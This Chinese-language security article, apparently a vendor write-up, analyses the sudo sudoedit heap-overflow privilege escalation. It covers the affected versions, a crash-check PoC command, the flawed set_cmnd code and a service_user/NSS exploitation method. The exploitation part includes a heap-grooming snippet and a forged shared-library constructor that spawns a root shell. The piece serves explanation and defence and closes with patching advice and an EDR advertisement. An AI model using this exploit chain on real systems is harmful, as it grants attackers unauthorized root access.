6分鐘帶你剖析 Linux Sudo 高危提權漏洞的研究利用
1漏洞基本信息
1.1 漏洞簡介
當 Sudo 通過 -s 或 -i 命令選項在 Shell 模式下運行命令時,它會將命令參數中的特殊字符使用反斜杠來轉義。但使用 -s 或 -i 命令運行 sudoedit 命令的時候,沒有對特殊字符進行正確處理,從而可能導致緩沖區溢出。攻擊者可以利用此漏洞從本地普通用戶權限提權到系統 root 權限。
1.2 漏洞影響
- 漏洞類型: 本地提權
- 漏洞影響范圍:1.8.2 到 1.8.31p2 和 1.9.0 到 1.9.5p1 Sudo版本
- 漏洞等級: 高危

1.3 漏洞驗證
終端輸入 POC 進行檢查:sudoedit -s '\' `perl -e 'print "A" x 65536'`
若出現 malloc 或段錯誤等崩潰,則可能存在漏洞。

2漏洞詳情分析
2.1 漏洞成因
漏洞主要存在于 plugins/sudoers/sudoers.c 文件的 set_cmnd() 函數中。
... /* set user_args */ if (NewArgc > 1) { char *to,*from,**av;size_t size,n;/* Alloc and build up user_args. */ for (size = 0,av = NewArgv + 1;*av;av++) size += strlen(*av) + 1;if (size == 0 || (user_args = malloc(size)) == NULL) { sudo_warnx(U_("%s:%s"),__func__,U_("unable to allocate memory"));debug_return_int(-1);} if (ISSET(sudo_mode,MODE_SHELL|MODE_LOGIN_SHELL)) { /* * When running a command via a shell,the sudo front-end * escapes potential meta chars. We unescape non-spaces * for sudoers matching and logging purposes. */ for (to = user_args,av = NewArgv + 1;(from = *av);av++) { // from指向命令參數 while (*from) { if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++;*to++ = *from++;// 將命令行參數拷貝到user_args堆空間 } *to++ = ' ';} *--to = '\0';} else { for (to = user_args,av = NewArgv + 1;*av;av++) { n = strlcpy(to,*av,size - (to - user_args));if (n >= size - (to - user_args)) { sudo_warnx(U_("internal error,%s overflow"),__func__);debug_return_int(-1);} to += n;*to++ = ' ';} *--to = '\0';} }...
這里的問題在于如果 from[0] 是反斜杠,而 from[1] 是 null 結束符(非空格),此時滿足 from[0] == '\\' && !isspace((unsigned char)from[1]),所以此時 from 會加1,指向 null 結束符;null 結束符被拷貝到 user_args 堆緩沖區, from 再次加1,from 指向了 null 結束符后面第1個字符(即下一個命令參數);隨后會繼續循環將越界字符拷貝到 user_args 堆緩沖區中去,此時就會發生堆溢出漏洞。
我們設置命令行參數為 sudoedit -s '\' 1234567890,通過 gdb 來調試跟蹤一下,此時我們的參數是這樣的:

此時 malloc 的大小應該是 strlen('\\/x00') + strlen('1234567890\x00') =13,然后根據堆內存對齊,申請的堆的大小應該是0x10+0x10=0x20(算上堆頭)。

當來到數據拷貝的時候,第一個參數是'\',根據代碼會把'\'后面的參數也拷貝進去,因為 from[0] 為'\',而且 from[1] 不是空格(而是 null )就會 from++,而 from[2] 的內容就是下一個參數了,這就相當于'\'后面的參數被拷貝了兩次,造成了堆溢出。

最終拷貝到堆的內容為:

很明顯"1234567890"參數被拷貝了兩次,所以這個數據的長度和內容是我們可以控制的,如果這個參數長度足夠長,那么我們就可以覆蓋到堆后面的結構。
2.2 利用方法簡介
我們知道在常規的堆棧溢出的漏洞中如果我們需要寫一些通用的 EXP 就必須要繞過系統的某些安全保護,最常見的保護就是 ASLR (地址隨機化),這就可能需要程序有多次與我們交互的地方。但是在這個漏洞當中我們可以交互的地方似乎只有一次,沒有辦法去泄露程序的地址等,所以常規的利用技巧在這里可能不是那么實用,我們就需要一些其他技巧,這個漏洞的其中一種利用技巧是覆蓋 service_user 結構體。
typedef struct service_user{ /* And the link to the next entry. */ struct service_user *next; /* Action according to result. */ lookup_actions actions[5]; /* Link to the underlying library object. */ service_library *library; /* Collection of known functions. */ void *known; /* Name of the service (`files',`dns',`nis',...). */ char name[0];} service_user
service_user 結構體中的 name 指定了要動態加載的動態鏈接庫,如果我們能夠修改 service_user->name 的值,那么我們就能通過 nss_load_library() 函數加載任意我們偽造的動態鏈接庫。
nss_load_library() 函數:
static int nss_load_library (service_user *ni){if (ni->library == NULL) {static name_database default_table;ni->library = nss_new_service (service_table ?:&default_table, // (1)設置 ni->library ni->name);if (ni->library == NULL)return -1;}if (ni->library->lib_handle == NULL) {/* Load the shared library. */ size_t shlen = (7 + strlen (ni->name) + 3 + strlen (__nss_shlib_revision) + 1);int saved_errno = errno;char shlib_name[shlen];/* Construct shared object name. */ __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, // (2)偽造的庫文件名必須是 libnss_xxx.so"libnss_"), ni->name),".so"), __nss_shlib_revision);ni->library->lib_handle = __libc_dlopen (shlib_name);// (3)加載目標庫 …
nss_load_library 作用是載入 .so 文件,nss_load_library(),需要滿足 ni->library != NULL 和 ni->library->lib_handle == NULL 才能加載新庫,也就是我們需要將 ni->library 覆蓋為 NULL,將 ni->name 覆蓋我們自己偽造的庫名字,且偽造的庫文件名必須是 libnss_xxx.so。
因為我們只有一個堆溢出的漏洞,無法泄露出來基地址等信息,所以根據 Linux 的堆分配的機制,我們在 service_user 結構體的前面釋放一個堆塊,然后讓分配的 user_args 分配到這塊堆塊,之后再使用堆溢出覆蓋到 service_user 結構體。
2.3 堆分配
我們的想法是去覆蓋 ni->library 和 ni->name,所以問題的關鍵是如何通過 user_args 溢出到 service_user 結構,而且 user_args 的位置必須位于 service_user 之前,并且兩者的偏移不能太大,否則可能會覆蓋到其他數據結構導致利用失敗。
Sudo 在開始的時候會調用 setlocale 函數來讀取環境變量中的參數來對程序本地化進行設置,這時候會為環境變量分配和釋放相應的堆塊到 tcache 堆和 fastbin 堆中去,在堆區域初始位置就會產生一些空洞。
int main(int argc,char *argv[],char *envp[]){… setlocale(LC_ALL,""); bindtextdomain(PACKAGE_NAME,LOCALEDIR); textdomain(PACKAGE_NAME);…}
從 setlocale 函數到分配 user_args 的過程中還會有很多堆的分配和釋放的操作,我們不能精準的控制堆的分配,可以通過控制傳遞給 setlocale 的環境變量來控制 user_args 分配之前的堆布局。但是具體的控制關系是不確定的,如果要找到這些堆的分配關系我們可以通過 fuzz 等方法來進行測試,基本的設置如下可以尋找在初始化 service_table 之前在 bins 中存放一個 size 大小的 chunk 用于占位。
char *LC = calloc(0x3000,1); strcpy(LC,"LC_ALL=C.UTF-8@");memset(LC+15,'C',size);envp[envp_pos++] = LC;
當找到了合適的堆之后就可以對 service_table 結構進行覆蓋了,然后我們在偽造的 so 文件當中寫入提權代碼那么我們就可以得到 root 權限的 shell 了。
#include #include #include #include
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {#ifndef BRUTEsetuid(0);seteuid(0);setgid(0);setegid(0); static char *a_argv[] = { "sh",NULL }; static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin",NULL }; execv("/bin/sh",a_argv);#endif}
2.4 總結
目前仍然有很多 Linux 系統上面還在使用存在此漏洞的 Sudo 程序,及時的將程序更新到最新版本可以降低系統被提權的風險。
微步在線主機威脅檢測與響應平臺 OneEDR 通過輕量級的終端 Agent
收集終端的進程、網絡、文件等系統行為日志,在服務端利用威脅情報,文件檢測引擎與全攻擊鏈路行為分析等技術手段,實現對主機入侵的精準發現、自動化告警關聯、攻擊鏈路可視化展示與高效溯源、入侵事件響應及阻斷等功能,同時支持對終端海量行為日志進行靈活檢索。
OneEDR 支持對這種主機提權方式的檢測,了解更多 OneEDR 信息可訪問:https://threatbook.cn/prod/oneedr。